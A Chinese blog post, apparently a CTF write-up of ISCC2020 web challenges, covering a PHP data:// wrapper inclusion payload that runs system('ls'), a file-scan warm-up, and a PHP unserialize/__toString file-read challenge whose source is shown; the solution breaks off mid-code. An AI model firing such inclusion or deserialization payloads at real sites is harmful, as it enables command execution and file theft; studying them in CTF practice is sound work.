ISCC2020-Web题解

前言:

Where is file?-1

——php伪协议
在这里插入图片描述
考察的是php伪协议,可以使用data协议来进行读取

?file=data:text/plain,<?echo system('ls')?>

阿森的爱情-1

——签到

扫描一下出一个文件,里面就有flag

Php is the best language

——PHP反序列化、to_string魔法函数的调用

<?php  
@error_reporting(1);
include 'flag.php';
class baby 
{
   
    public $file;
    function __toString()      
    {
   
        if(isset($this->file))
        {
   
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
   
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET['data']))
{
   
    $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
}
else 
{
   
    $url='./index.php';
}

$html='';
if(isset($_POST['test'])){
   
    $s = $_POST['test'];
    $html.="<p>谢谢参与!</p>";
}
?>

代码很简单,就是__toString的调用

<?php  
class baby 
{
   
    public $file;
    function __toString()      
    {
   
        if(isset($this->file))
        {
   
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename))
  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值